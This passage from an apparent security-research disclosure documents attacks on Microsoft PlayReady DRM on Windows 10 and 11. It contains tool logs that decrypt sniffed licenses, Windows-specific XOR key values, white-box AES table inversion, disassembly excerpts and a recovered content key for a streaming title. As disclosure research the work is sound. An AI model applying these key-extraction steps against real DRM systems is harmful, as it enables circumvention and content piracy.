     0010:  0b 1c 7b 46 ad ee f1 db b3 4e 15 88 f6 40 cc 31  ..{[email protected]  
     0020:  ea 3c ea 06 5d 5f 59 74 f1 34 4c e2 ae a6 b0 bb  .<..]_Yt.4L.....  
     0030:  ea 96 70 ea 0a c5 3f 94 a1 c1 b8 ec 9e d6 93 1c  ..p...?.........  
   prvkey  
     0000:  97 f2 1f bf e9 eb 6f 1b 56 45 61 45 20 63 3e af  ......o.VEaE.c>.  
     0010:  af 40 ca 47 10 b2 34 3e 60 49 0d 1f 18 b2 56 33  [email protected]>.I....V3  
ENCRYPT  
 IdentityInfo  
   pubkey  
     0000:  34 87 66 73 af da 57 db 05 60 7a 56 93 31 05 44  4.fs..W...zV.1.D  
     0010:  b9 79 c2 4d 20 95 b3 5f 99 da d5 8d f4 ae e5 af  .y.M..._........  
     0020:  e7 60 33 06 ec 03 84 dc 90 74 ec e6 05 08 01 ea  ..3......t......  
     0030:  b2 b8 bd 47 2a ba c0 6c a8 98 14 6b ed 29 40 ab  ...G*..l...k.)@.  
   prvkey  
     0000:  5d ae 07 b2 02 c1 28 0b d5 86 04 9f 2e ee a9 00  ].....(.........  
     0010:  42 de 00 b3 25 ae 82 1d b6 22 c9 42 80 af 5f ed  B...%....".B.._.  
     0020:  08 85 aa 4b 33 cd b9 2c 69 a5 2b dc 2f 72 1c 6a  ...K3..,i.+./r.j  
     0030:  99 b9 76 cc 57 99 93 70 c4 eb 10 af 50 e4 ba 09  ..v.W..p....P...  
     0040:  92                                               .  

After exporting the identity keys:

msprcp> identity -e 5B75F8180A95751793D99A4E3BCF1E28  
5B75F8180A95751793D99A4E3BCF1E28.enc.pub (public encryption key)  
5B75F8180A95751793D99A4E3BCF1E28.enc.prv (private encryption key)  
5B75F8180A95751793D99A4E3BCF1E28.sig.pub (public signing key)  
5B75F8180A95751793D99A4E3BCF1E28.sig.prv (private signing key)  

we tried to decrypt the sniffed license blob, this time we needed to use some
PlayReady library corresponding to Windows 11 OS:

wret> prlib w11_oct24.dll  
PRLib::run  
wret> wbsetup -r  
WBSetupCmd::run  
Warbird encrypted binary  
### setting up Warbird for runtime analysis  
- scanning for heap exec descriptors  
  found: 985  
- scanning for segment descriptors  
  found: 37  
- decrypting heapexec descriptors  
- decrypting segment descriptors  
- locating ret syscalls  
  total: 1042  
- locating heapexec syscalls  
  total: 919 (WB_MOV10_B9 892, WB_MOV10_REG 7, WB_LEA10 5, WB_SHARED 15)  
- adjusting code refs  
  total: 1487  
- adjusting data refs  
  total: 2  
- patching self LEAs  
  total: 985  
- patching ret syscalls  
- patching heapexec syscalls  
- patching wb call  
- patching antidebug call  
- patching App Policy  
- Dll init Windows.Media.dll  
  size 7145640 bytes  
  base 180000000  
- patching App Model  
- Dll init Windows.Storage.ApplicationData.dll  
  size 435248 bytes  
  base 180000000  
- disabling thread library calls  
wret>  
wret>  
wret> declicense ..\mspr_toolkit\sniff.blob -k 5B75F8180A95751793D99A4E3BCF1E28.enc.prv  
DecLicenseCmd::run  
DECRYPT LICENSE  
main obj lea at 2bde10  
main obj vtable 43b4d8  
lea at 2bdfa7  
lea va 2c1920  
lea at 2c1995  
lea va 2c0050  
syscall va 2c04a7  
lea candidate at 2c0479  
lea candidate va 2cba40  
syscall va 2c061e  
lea candidate at 2c05d6  
lea candidate va 2cc170  
sub_candidate e9600 size 63cf  
keydata  
0x00000000:  5d ae 07 b2 02 c1 28 0b d5 86 04 9f 2e ee a9 00  ].....(.........  
0x00000010:  42 de 00 b3 25 ae 82 1d b6 22 c9 42 80 af 5f ed  B...%....".B.._.  
0x00000020:  08 85 aa 4b 33 cd b9 2c 69 a5 2b dc 2f 72 1c 6a  ...K3..,i.+./r.j  
0x00000030:  99 b9 76 cc 57 99 93 70 c4 eb 10 af 50 e4 ba 09  ..v.W..p....P...  
0x00000040:  92                                               .  
license  
0x00000000:  3f a0 a4 df 3a a5 4b 9b 21 19 4e 76 04 c3 49 4c  ?...:.K.!.Nv..IL  
0x00000010:  6d 56 e6 8a b8 b1 5c 4d 93 83 06 70 95 19 e2 de  mV....\M...p....  
0x00000020:  65 22 f3 40 37 7e 4a 3e 60 56 ff 46 be 85 37 6e  e".@7~J>`V.F..7n  
0x00000030:  04 6b 8d af 37 e2 6b f2 fb fd 00 b9 cc cf a8 33  .k..7.k........3  
0x00000040:  e8 07 bb 65 d3 3b 58 99 42 38 a1 7a 74 b6 39 f6  ...e.;X.B8.zt.9.  
0x00000050:  4e 13 53 ae 71 ec 44 67 59 7b 10 99 6a 10 a0 f8  N.S.q.DgY{..j...  
0x00000060:  2b 78 a0 b0 85 19 9e c7 d9 ed b9 54 e4 e1 b4 2e  +x.........T....  
0x00000070:  9c 70 0e 87 ac 86 7b a1 7c 03 a6 f7 99 5b d4 45  .p....{.|....[.E  
target 7ffd3c9cc170  
wb res: 0 call res 0  
output key  
0x00000000:  24 5a 65 ef a8 c8 07 9c 08 1e 4e 8f 85 97 6d 85  $Ze.......N...m.  
0x00000010:  85 14 8f 9e 4b b8 c0 7e 7b 30 fe fd db 0f 08 8a  ....K..~{0......  
XOR(ed) signature key  
0x00000000:  24 5a 65 ef a8 c8 07 9c 08 1e 4e 8f 85 97 6d 85  $Ze.......N...m.  
XOR(ed) content key  
0x00000000:  85 14 8f 9e 4b b8 c0 7e 7b 30 fe fd db 0f 08 8a  ....K..~{0......  

The output key 85 14 8f 9e visible above is the content key blob. In order
to find the actual content key value, we need to set the XOR key, which is
zero by default:

wret> xorkey  
XORKeyCmd::run  
[none]  
0x00000000:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................  
0x00000010:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................  

So, we set the magic XOR key value to correspond to Windows 11 OS:

wret> xorkey w11  
XORKeyCmd::run  
[w11]  
0x00000000:  c3 cd 57 69 1e ff 15 6c 95 d9 46 d5 34 12 1d fb  ..Wi...l..F.4...  
0x00000010:  81 73 8a db 5b 4b b4 22 3f aa d8 9c bb 45 9b ec  .s..[K."?....E..  

and decrypt the license again:

wret> declicense ..\mspr_toolkit\sniff.blob -k 5B75F8180A95751793D99A4E3BCF1E28.enc.prv  
DecLicenseCmd::run  
DECRYPT LICENSE  
keydata  
0x00000000:  5d ae 07 b2 02 c1 28 0b d5 86 04 9f 2e ee a9 00  ].....(.........  
0x00000010:  42 de 00 b3 25 ae 82 1d b6 22 c9 42 80 af 5f ed  B...%....".B.._.  
0x00000020:  08 85 aa 4b 33 cd b9 2c 69 a5 2b dc 2f 72 1c 6a  ...K3..,i.+./r.j  
0x00000030:  99 b9 76 cc 57 99 93 70 c4 eb 10 af 50 e4 ba 09  ..v.W..p....P...  
0x00000040:  92                                               .  
license  
0x00000000:  3f a0 a4 df 3a a5 4b 9b 21 19 4e 76 04 c3 49 4c  ?...:.K.!.Nv..IL  
0x00000010:  6d 56 e6 8a b8 b1 5c 4d 93 83 06 70 95 19 e2 de  mV....\M...p....  
0x00000020:  65 22 f3 40 37 7e 4a 3e 60 56 ff 46 be 85 37 6e  e".@7~J>`V.F..7n  
0x00000030:  04 6b 8d af 37 e2 6b f2 fb fd 00 b9 cc cf a8 33  .k..7.k........3  
0x00000040:  e8 07 bb 65 d3 3b 58 99 42 38 a1 7a 74 b6 39 f6  ...e.;X.B8.zt.9.  
0x00000050:  4e 13 53 ae 71 ec 44 67 59 7b 10 99 6a 10 a0 f8  N.S.q.DgY{..j...  
0x00000060:  2b 78 a0 b0 85 19 9e c7 d9 ed b9 54 e4 e1 b4 2e  +x.........T....  
0x00000070:  9c 70 0e 87 ac 86 7b a1 7c 03 a6 f7 99 5b d4 45  .p....{.|....[.E  
target 7ffd3c9cc170  
wb res: 0 call res 0  
output key  
0x00000000:  24 5a 65 ef a8 c8 07 9c 08 1e 4e 8f 85 97 6d 85  $Ze.......N...m.  
0x00000010:  85 14 8f 9e 4b b8 c0 7e 7b 30 fe fd db 0f 08 8a  ....K..~{0......  
signature key  
0x00000000:  e7 97 32 86 b6 37 12 f0 9d c7 08 5a b1 85 70 7e  ..2..7.....Z..p~  
content key  
0x00000000:  04 67 05 45 10 f3 74 5c 44 9a 26 61 60 4a 93 66  .g.E..t\D.&a`J.f  
wret>  

Now, the real content key is revealed (04 67 05 45…).

A proof and confirmation that this key is real is available in tests directory
(win_sniffed_key_for_canalp_vod). It contains a log that showcases the import
of a license data (and content key) contained by the sniffer to MSPR toolkit
for a successful movie sequence download and decryption.

The other confirmation that sniffed content keys are real ones can be obtained
with the help of license signatures and crypto:

msprcp> licdata -k d4710165a17e7f4ab6f0973e9bb8c723 -v  
LICENSE  
  * key id:         d4710165a17e7f4ab6f0973e9bb8c723  
  * signature key:  e7xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx  
  * key SHA256:     ab7ea6600bee5e9d150051bbcf74ae0f64971d23f0d8fa102a261860c473a36e  
  * content key:    04xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx  
  * key SHA256:     c37da9b9500501a429ed038a6bf037df079a69aefdbcee873f2414089d51882b  
...  
XMR SIGNATURE  
  0000:  ed 47 b2 51 7d 1a 5f 25 9e f1 59 d7 7a 91 58 f8  .G.Q}._%..Y.z.X.  
calculated cmac  
  0000:  ed 47 b2 51 7d 1a 5f 25 9e f1 59 d7 7a 91 58 f8  .G.Q}._%..Y.z.X.  
##### SIGNATURE KEY / AES-CMAC OK  
msprcp>  

The crypto check works as following:

  • plaintext value of a digital signature key encrypted through ECC is extracted
    from a Protected Media Path process (this explains several versions of the
    sniffer .dat files),
  • the extracted signature key is used to calculate the AES-CMAC value of a
    binary license XMR blob
  • the calculated signature value is checked against the signature appended at
    the end of the issued license
  • correct AES-CMAC value implicates correct signature key (and correct content
    key)

The above mechanism is also used by Microsoft to verify the correctness of
decrypted content keys received from a license server. It relies on the fact
that signature key is part of the same encrypted license blob as content key.
Thus, successful extraction of a signature key implicates successful extraction
of a content key.

Finally, it is worth to note that sniffer tool has been updated to “deobfuscate”
the content key blobs harvested from the stack with the use of a magic XOR key
values (provided as config in sniffer\decdata\xorkey.w10 and
sniffer\decdata\xorkey.w11). As such, the sniffer should be deemed as
extracting actual (plaintext) content key values.

WHITEBOX CRYPTO BYPASS

The initial (XOR key) attack, is limited to the narrow time window. The sniffer
needs to extract content key from the stack at a given code execution context.
The content keys gets cleared upon return from a target subroutine.

There is however a data structure, which is not imposed by said limits. These
are the white-box data structures in a form of AES round keys. They need to be
present for the whole time of a movie decryption / playback (core AES
decryption subroutine uses these).

PlayReady creates a license decryptor object as a follow up of a license blob
decryption and successful signature verification. The license blob decryptor
doesn’t hold the content key (AES key) in clear form - it maintains it through
the form of white-box crypto AES round keys. The goal of white-box crypto is
to make reconstruction of a secret-key difficult / not possible.

This is illustrated by the constructor code below:

.text:0000000180222D50 sub_180222D50   proc near               ; DATA XREF: agsr_construct_license_decryptor_internal+CE↓o  
.text:0000000180222D50                                         ; .pdata:00000001809AF98C↓o  
.text:0000000180222D50  
.text:0000000180222D50 arg_0           = qword ptr  8  
.text:0000000180222D50 arg_8           = qword ptr  10h  
.text:0000000180222D50 arg_10          = qword ptr  18h  
.text:0000000180222D50 arg_18          = qword ptr  20h  
.text:0000000180222D50  
.text:0000000180222D50                 lea     rdx, unk_180998298  
.text:0000000180222D57                 mov     rcx, [rsp+0]  
.text:0000000180222D5B                 mov     [rsp+arg_0], rbx  
.text:0000000180222D60                 mov     [rsp+arg_8], rbp  
.text:0000000180222D65                 mov     [rsp+arg_10], rsi  
.text:0000000180222D6A                 mov     [rsp+arg_18], rdi  
.text:0000000180222D6F                 push    r14  
.text:0000000180222D71                 push    r15  
.text:0000000180222D73                 movzx   ebp, word ptr [rcx+10h] ; decryptor type  
.text:0000000180222D77                 mov     rsi, rdx  
.text:0000000180222D7A                 mov     r9, [rcx+1Eh]  
.text:0000000180222D7E                 mov     r10d, ebp       ; decryptor type  
.text:0000000180222D81                 mov     r11d, [rcx+1Ah]  
.text:0000000180222D85                 mov     r8, [rcx+12h]   ; src data to copy into decryptor  
.text:0000000180222D89                 mov     rbx, [rcx+8]    ; this  
...  
.text:0000000180222E02                 mov     edx, 0B0h       ; size 0xb0  
.text:0000000180222E07                 lea     r9, [rbx+14h]   ; target to copy data to  
.text:0000000180222E07                                         ; decryptor offset+0x14, data size 0xb0 (AES round keys)  
.text:0000000180222E0B                 nop     dword ptr [rax+rax+00h]  
.text:0000000180222E10  
.text:0000000180222E10 loc_180222E10:                          ; CODE XREF: sub_180222D50+D2↓j  
.text:0000000180222E10                 movzx   eax, byte ptr [r8]  
.text:0000000180222E14                 lea     r8, [r8+1]  
.text:0000000180222E18                 mov     [r9], al  
.text:0000000180222E1B                 lea     r9, [r9+1]  
.text:0000000180222E1F                 add     edx, 0FFFFFFFFh  
.text:0000000180222E22                 jnz     short loc_180222E10

The white-box crypto attack becomes fairly easy to implement upon the knowledge
of the actual content key and resulting AES round keys.

The AES round keys can be obtained with the use of a prsubs call to “expand key”
code.

We found out the relation between content key bytes and initial white-boxed AES
round key (key round 0) by verifying what value is generated by the expand key
subroutine for a given pos as a response to given content key byte (at the same
pos).

Finding out the answer to the above required to run “expand key” subroutine
16*256 times (16 is the length of AES content key, 256 is the possible value
count for each pos).

As a result, we obtained 16 tables, each was 256 bytes in size. These can be
seen with the use of ektable (expand key table) command:

wret> ektable -v  
EKTableCmd::run  
[w11_oct24.dll]  
* pos 0  
  0x00000000:  60 d4 13 a7 86 32 f5 41 b7 03 c4 70 51 e5 22 96  `....2.A...pQ.".  
  0x00000010:  d5 61 a6 12 33 87 40 f4 02 b6 71 c5 e4 50 97 23  [email protected].#  
  0x00000020:  11 a5 62 d6 f7 43 84 30 c6 72 b5 01 20 94 53 e7  ..b..C.0.r.. .S.  
  0x00000030:  a4 10 d7 63 42 f6 31 85 73 c7 00 b4 95 21 e6 52  ...cB.1.s....!.R  
  0x00000040:  82 36 f1 45 64 d0 17 a3 55 e1 26 92 b3 07 c0 74  .6.Ed...U.&....t  
  0x00000050:  37 83 44 f0 d1 65 a2 16 e0 54 93 27 06 b2 75 c1  7.D..e...T.'..u.  
  0x00000060:  f3 47 80 34 15 a1 66 d2 24 90 57 e3 c2 76 b1 05  .G.4..f.$.W..v..  
  0x00000070:  46 f2 35 81 a0 14 d3 67 91 25 e2 56 77 c3 04 b0  F.5....g.%.Vw...  
  0x00000080:  bf 0b cc 78 59 ed 2a 9e 68 dc 1b af 8e 3a fd 49  ...xY.*.h....:.I  
  0x00000090:  0a be 79 cd ec 58 9f 2b dd 69 ae 1a 3b 8f 48 fc  ..y..X.+.i..;.H.  
  0x000000a0:  ce 7a bd 09 28 9c 5b ef 19 ad 6a de ff 4b 8c 38  .z..(.[...j..K.8  
  0x000000b0:  7b cf 08 bc 9d 29 ee 5a ac 18 df 6b 4a fe 39 8d  {....).Z...kJ.9.  
  0x000000c0:  5d e9 2e 9a bb 0f c8 7c 8a 3e f9 4d 6c d8 1f ab  ]......|.>.Ml...  
  0x000000d0:  e8 5c 9b 2f 0e ba 7d c9 3f 8b 4c f8 d9 6d aa 1e  .\./..}.?.L..m..  
  0x000000e0:  2c 98 5f eb ca 7e b9 0d fb 4f 88 3c 1d a9 6e da  ,._..~...O.<..n.  
  0x000000f0:  99 2d ea 5e 7f cb 0c b8 4e fa 3d 89 a8 1c db 6f  .-.^....N.=....o  
* pos 1  
  0x00000000:  ec 58 9f 2b 0a be 79 cd 3b 8f 48 fc dd 69 ae 1a  .X.+..y.;.H..i..  
  0x00000010:  59 ed 2a 9e bf 0b cc 78 8e 3a fd 49 68 dc 1b af  Y.*....x.:.Ih...  
  0x00000020:  9d 29 ee 5a 7b cf 08 bc 4a fe 39 8d ac 18 df 6b  .).Z{...J.9....k  
  0x00000030:  28 9c 5b ef ce 7a bd 09 ff 4b 8c 38 19 ad 6a de  (.[..z...K.8..j.  
  0x00000040:  0e ba 7d c9 e8 5c 9b 2f d9 6d aa 1e 3f 8b 4c f8  ..}..\./.m..?.L.  
  0x00000050:  bb 0f c8 7c 5d e9 2e 9a 6c d8 1f ab 8a 3e f9 4d  ...|]...l....>.M  
  0x00000060:  7f cb 0c b8 99 2d ea 5e a8 1c db 6f 4e fa 3d 89  .....-.^...oN.=.  
  0x00000070:  ca 7e b9 0d 2c 98 5f eb 1d a9 6e da fb 4f 88 3c  .~..,._...n..O.<  
  0x00000080:  33 87 40 f4 d5 61 a6 12 e4 50 97 23 02 b6 71 c5  [email protected].#..q.  
  0x00000090:  86 32 f5 41 60 d4 13 a7 51 e5 22 96 b7 03 c4 70  .2.A`...Q."....p  
  0x000000a0:  42 f6 31 85 a4 10 d7 63 95 21 e6 52 73 c7 00 b4  B.1....c.!.Rs...  
  0x000000b0:  f7 43 84 30 11 a5 62 d6 20 94 53 e7 c6 72 b5 01  .C.0..b. .S..r..  
  0x000000c0:  d1 65 a2 16 37 83 44 f0 06 b2 75 c1 e0 54 93 27  .e..7.D...u..T.'  
  0x000000d0:  64 d0 17 a3 82 36 f1 45 b3 07 c0 74 55 e1 26 92  d....6.E...tU.&.  
  0x000000e0:  a0 14 d3 67 46 f2 35 81 77 c3 04 b0 91 25 e2 56  ...gF.5.w....%.V  
  0x000000f0:  15 a1 66 d2 f3 47 80 34 c2 76 b1 05 24 90 57 e3  ..f..G.4.v..$.W.  
...  

While white-box crypto in use by PlayReady doesn’t rely on a simple XOR as it
was the case for content key obfuscation, it is still of questionable strength.
The problem lies in the fact that tables obtained for each content key pos
(ektables) are all bijections (1 to 1 mappings, each table contains unique
256 values).

This makes discovery of a content key from white-box structures maintained by
the decryptor straightforward.

One just needs the first white-box AES round key value and reverse lookup table
built from ektables described above.

The illustration of content key discovery from white-box crypto structures is
shown below.

We first decrypt arbitrary sniffed license, but this time also issue a call to
expand key in order to obtain the corresponding white-box AES crypto structure:

wret> declicense ..\mspr_toolkit\sniff.blob -k 5B75F8180A95751793D99A4E3BCF1E28.enc.prv -e -o ekey.dat  
...  
target 7ffd3d2ec170  
wb res: 0 call res 0  
output key  
0x00000000:  24 5a 65 ef a8 c8 07 9c 08 1e 4e 8f 85 97 6d 85  $Ze.......N...m.  
0x00000010:  85 14 8f 9e 4b b8 c0 7e 7b 30 fe fd db 0f 08 8a  ....K..~{0......  
signature key  
0x00000000:  e7 97 32 86 b6 37 12 f0 9d c7 08 5a b1 85 70 7e  ..2..7.....Z..p~  
content key  
0x00000000:  04 67 05 45 10 f3 74 5c 44 9a 26 61 60 4a 93 66  .g.E..t\D.&a`J.f  
7ffd3d109600  
expand key  
expandkey res: 0  
expanded key  
0x00000000:  7e e3 f8 8f 31 f4 d8 1d 1e c1 6a 92 4c be 7a e5  ~...1.....j.L.z.  
0x00000010:  0d 50 a6 75 53 be 04 e9 26 dc 96 d2 cc 05 92 23  .P.uS...&......#  
0x00000020:  a7 be 78 39 64 c8 37 c3 be 4f c8 ae d2 a1 c1 23  ..x9d.7..O.....#  
0x00000030:  1d 8b 2a 7a 61 5b 05 a1 c7 0c d5 17 0d b5 0c 2c  ..*za[.........,  
0x00000040:  88 32 d7 b6 f1 71 ca 0f 2e 65 07 00 3b c8 13 34  .2...q...e..;..4  
0x00000050:  c1 67 90 e0 28 0e 42 f7 1e 73 5d ef 3d a3 56 c3  .g..(.B..s].=.V.  
0x00000060:  a1 88 ad a4 91 9e f7 4b 97 f5 b2 bc b2 4e fc 67  .......K.....N.g  
0x00000070:  16 ec 8b 98 9f 6a 64 cb 10 87 ce 6f ba d1 2a 10  .....jd....o..*.  
0x00000080:  03 09 52 12 84 7b 2e c1 8c e4 f8 b6 2e 2d ca be  ..R..{.......-..  
0x00000090:  be 9b 9b f8 71 de b0 71 a0 5f 78 ea 8b 7f e4 6f  ....q..q._x....o  
0x000000a0:  2a 21 ec 62 d4 9a 40 66 dd d3 5d de c7 62 b0 7a  *!.b..@f..]..b.z  
saving to ekey.dat file  
wret>  

Then, we make use of the predefined ektable in order to obtain the content key
value corresponding to the initial round key (EK key):

wret> ekkey ekey.dat  
EKKeyCmd::run  
EK key  
0x00000000:  7e e3 f8 8f 31 f4 d8 1d 1e c1 6a 92 4c be 7a e5  ~...1.....j.L.z.  
7ffd3d109600  
plaintext key  
0x00000000:  04 67 05 45 10 f3 74 5c 44 9a 26 61 60 4a 93 66  .g.E..t\D.&a`J.f  
wret>  

One can notice that value 7e treated as index of EK table (pos 0) yields
value 04. Similarly value e3 for EK table (pos 1) yields 67.

This confirms the ability to discover plaintext value of a content key from AES
white-box crypto (more specifically from AES round key 0).

What’s worth to mention is that the white-box crypto attack seems to work for
PlayReady binaries corresponding to same Windows OS version (not all binaries
were tested, but Win 11 binaries from Sep 2024, Aug 2024 and Oct 2024 all
worked fine though).

Finally, we can check if the white-box AES key extracted by the sniffer can be
deciphered.

This time, we do the test on Windows 10. The test is conducted with respect to
license data obtained for the same movie available in CANAL+ VOD (XXXXX XXXXXXXX).

First, we import the sniffed license data to the MSPR toolkit:

msprcp> implicdata ..\..\tests\sniffdata\vod\w10\canalp_xxxxxxxxxxxxx.dat

LICENSE  
  * key id:         d4710165a17e7f4ab6f0973e9bb8c723  
  * content key:    04xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx  
  * key SHA256:     c37da9b9500501a429ed038a6bf037df079a69aefdbcee873f2414089d51882b  

Then we import the AES rounds harvested by the sniffer to output file:

msprcp> licdata -k d4710165a17e7f4ab6f0973e9bb8c723 -r rounds.dat  
rounds key  
  0000:  8c d1 ae 6c c3 c6 8e fe 9f 02 5b 3c cd 7d 4b 4b  ...l......[<.}KK  
  0010:  7a 36 9a 99 d8 1a dc 1e 66 9f e8 2c b1 d4 13 95  z6......f..,....  
  0020:  8e 18 01 c0 f3 6b f0 3f 18 b3 6b ed 98 8f 08 33  .....k.?..k....3  
  0030:  e2 9d 50 36 97 70 26 8f 09 45 cb e4 17 4c 45 51  ..P6.p&..E...LEQ  
  0040:  f8 94 fc 29 e9 62 5c 20 66 a1 11 42 f7 6b d2 95  ...).b..f..B.k..  
  0050:  08 96 3c 4e 67 72 e6 e8 87 55 71 2c f6 b8 25 3f  ..<Ngr...Uq,..%?  
  0060:  8f f8 88 eb 6e 0c e8 85 6f df 1f 2f 1f e1 bc 96  ....n...o../....  
  0070:  b6 49 9d 0d 5e c3 f3 0e b7 9a 6a a7 2e fd 50 b7  .I..^.....j...P.  
  0080:  27 21 13 80 ff 64 66 08 ce 78 8a 29 66 03 5c 18  '!...df..x.)f...  
  0090:  bc f6 f6 02 92 8f 8c 92 d6 b4 47 e1 ac a2 d1 f8  ..........G.....  
  00a0:  46 4d 3c b2 4e 00 92 b4 a1 af eb 68 4b ee a4 6e  FM<.N......hK..n  
stored to rounds.dat  

Finally, we use the WRET toolkit and setup it with some PlayReady library
corresponding to Windows 10 system:

wret> image w10_prlib.dll  
ImageCmd::run  
- Dll init w10_prlib.dll  
  size 10347408 bytes  
  base 180000000  
wret> prlib w10_prlib.dll  
PRLib::run  
wret> wbsetup -r  
WBSetupCmd::run  
Warbird encrypted binary  
### setting up Warbird for runtime analysys  
- scanning for heap exec descriptors  
  found: 981  
- scanning for segment descriptors  
  found: 37  
- decrypting heapexec descriptors  
- decrypting segment descriptors  
- locating ret syscalls  
  total: 1023  
- locating heapexec syscalls  
  total: 911 (WB_MOV10_B9 880, WB_MOV10_REG 10, WB_LEA10 3, WB_SHARED 18)  
- adjusting code refs  
  total: 1470  
- adjusting data refs  
  total: 2  
- patching self LEAs  
  total: 981  
- patching ret syscalls  
- patching heapexec syscalls  
- patching wb call  
- patching antidebug call  
- patching App Policy  
- Dll init Windows.Media.dll  
  size 7145640 bytes  
  base 180000000  
- patching App Model  
- Dll init Windows.Storage.ApplicationData.dll  
  size 435248 bytes  
  base 180000000  
- disabling thread library calls  
wret>  

We setup the XOR key for Windows 10 system too prior to setting up EK tables:

wret> xorkey w10  
XORKeyCmd::run  
[w10]  
0x00000000:  a7 7b ec e4 91 a8 7e bc d8 a2 c6 28 56 b1 65 b3  .{....~....(V.e.  
0x00000010:  3a d2 57 2c f8 8b da e3 dd c7 9b e8 16 be 31 85  :.W,..........1.  

We use ekkey command to obtain the plaintext value of the content key from
the whitebox crypto data file:

wret> ekkey ..\mspr_toolkit\rounds.dat  
EKKeyCmd::run  
EK key  
0x00000000:  8c d1 ae 6c c3 c6 8e fe 9f 02 5b 3c cd 7d 4b 4b  ...l......[<.}KK  
plaintext key  
0x00000000:  04 67 05 45 10 f3 74 5c 44 9a 26 61 60 4a 93 66  .g.E..t\D.&a`J.f  

We obtained the content key, which was verified through movie decryption and
XMR crypto signature to be the correct one.

It’s worth to mention that ektable bijection made the algebraic transformation
in use by the core AES decryption subroutine irrelevant (no need to analyse)
too:

.text:00000001806B3F55                 pcmpgtb xmm5, xmm3      ; ######################  
.text:00000001806B3F55                                         ; ##### GMUL 2  
.text:00000001806B3F55                                         ; ######################  
.text:00000001806B3F55                                         ;  
.text:00000001806B3F55                                         ; xmm5     ffffffff000000ffffffff000000  
.text:00000001806B3F59                 pand    xmm5, xmm6      ; xmm5     1b1b1b1b0000001b1b1b1b000000  
.text:00000001806B3F5D                 paddb   xmm3, xmm3      ; xmm3     ca8e4206da9e5216dc985410cc8844  
.text:00000001806B3F61                 test    r13, r13        ; obfuscated content key  
.text:00000001806B3F64                 pxor    xmm4, xmm4      ; =0  
.text:00000001806B3F68                 pxor    xmm3, xmm5      ; xmm3     d195591dda9e5216c7834f0bcc8844  
.text:00000001806B3F68                                         ; xmm3 = iv[0-f] gmul 2 #2  
.text:00000001806B3F6C                 jz      loc_1806B498E   ; -> error  
.text:00000001806B3F72                 pcmpgtb xmm4, xmm3      ; ######################  
.text:00000001806B3F72                                         ; ##### GMUL 2  
.text:00000001806B3F72                                         ; ######################  
.text:00000001806B3F72                                         ;  
.text:00000001806B3F72                                         ; xmm4     ffff0000ffff00ffff0000ffff00  
.text:00000001806B3F76                 xor     eax, eax        ; =0  
.text:00000001806B3F78                 pand    xmm4, xmm6      ; xmm4     1b1b00001b1b001b1b00001b1b00  
.text:00000001806B3F7C                 paddb   xmm3, xmm3      ; xmm3     a22ab23ab43ca42c8e069e16981088  
.text:00000001806B3F80                 movdqu  xmm0, xmmword ptr [r13+0A0h] ; obfuscated content key  
.text:00000001806B3F80                                         ; round key 10 ???  
.text:00000001806B3F80                                         ; key[a0-af]  
.text:00000001806B3F89                 pxor    xmm5, xmm5      ; =0  
.text:00000001806B3F8D                 inc     eax             ; =1  
.text:00000001806B3F8F                 pxor    xmm3, xmm4      ; xmm3     b931b23aaf27a42c951d9e16830b88  
.text:00000001806B3F8F                                         ; xmm3 = iv[0-f] gmul 2 #3  
.text:00000001806B3F93                 movd    xmm7, eax       ; =1 (iv increment)  
.text:00000001806B3F97                 pcmpgtb xmm5, xmm3      ; ######################  
.text:00000001806B3F97                                         ; ##### GMUL 2  
.text:00000001806B3F97                                         ; ######################  
.text:00000001806B3F97                                         ;  

OFFLINE IMPLEMENTATION

We verified the content of ektables used across PlayReady binaries available
for Windows 10 and 11 (tests\xor_key\genektable.bat script). The tests
revealed that there are only two such tables in use, one for Windows 10 and
the other for Windows 11 systems identified by the following hashes:

  • EK table sha256 (Windows 10)
    0x00000000: dd c2 07 9b d3 4d 62 87 01 19 54 7a 56 5c 0c cc …Mb…TzV…
    0x00000010: 35 b3 70 95 1b 5b 3a 4b 0e f8 19 d8 20 65 72 ec 5.p…[:K… er.

  • EK table sha256 (Windows 11)
    0x00000000: 43 50 4b aa dd 25 53 09 74 fb 17 c0 c6 fd 69 34 CPK…%S.t…i4
    0x00000010: 40 59 fb 1f a9 1f 28 ab d2 2e 68 26 7b 78 25 7d @Y…(…h&{x%}

This implicates potential offline implementation of white-box AES key rounds
decryption upon their harvesting from PMP process memory (implementation that
uses two ektables, each 16*256 in size and that does not require dedicated tools
such as WRET toolkit - Warbird protection is irrelevant for the attack).

PRIVATE ENCRYPTION KEY DISCOVERY

So far, it has been shown that content keys could be successfully extracted
from the Protected Media Path (memory of the PMP process) either directly
(magic XOR key value) or indirectly (white-box crypto AES rounds).

The only secret that remained unbroken so far was a private encryption identity
key.

Below, details regarding its successful compromise are given.

LICENSE BLOB DECRYPTION IMPLEMENTATION

Tthe main license decryption subroutine is denoted by prsubs command (“decrypt
license blob”).

It is a WB heap execute subroutine that takes the following arguments (accessed
through rcx):

.text:00000001802228CE                                         ; args:  
.text:00000001802228CE                                         ; 1) op - 0 in our case (1 is for decryptor type==5?)  
.text:00000001802228CE                                         ; 2) ptr to encrypted key (ECC encryption key)  
.text:00000001802228CE                                         ; 3) encrypted key size (0x41 size)  
.text:00000001802228CE                                         ; 4) binary license blob (0x80 size)  
.text:00000001802228CE                                         ; 5) output for plaintext secret key ? (size 0x20)  

The subroutine operation could be described as following:

  1. the private ECC decryption is deobfuscated, as a result “obfuscated ECC
    key” form is obtained of size 0x20
  2. the nibbles of a “obfuscated ECC key” (0x40 of them) are used as index
    to a “bijection” table, as a result each nibble is mapped to a new value
    (from table) and “mapped ECC key” is obtained
  3. the actual license decryption relies on some obfuscated ECC crypto
    implementation, instead of using the private ECC key for MULTIPLY OP,
    the nibble of the mapped ECC key is used as an index to ECC precalc
    table that contains some precalc ECC data

The above process is even more complex as there are multiple subroutines and
multiple bijection tables, which can be used to process the key in step 2:

wret> pkdata  
PKDataCmd::run  
[PrvKey data]  
* internal decrypt 2b7cd0 bijection 8828a0  
* internal decrypt 3375b0 bijection 8a2620  
* internal decrypt 3b3be0 bijection 8c1ff0  
* internal decrypt 3b7910 bijection 8e2190  
* internal decrypt 523390 bijection 9023b0  
* internal decrypt 5289d0 bijection 922430  

Decision which subroutine / bijection table is used depends on the format of
encrypted ECC private key. The bijection is applied to each nibble of the key
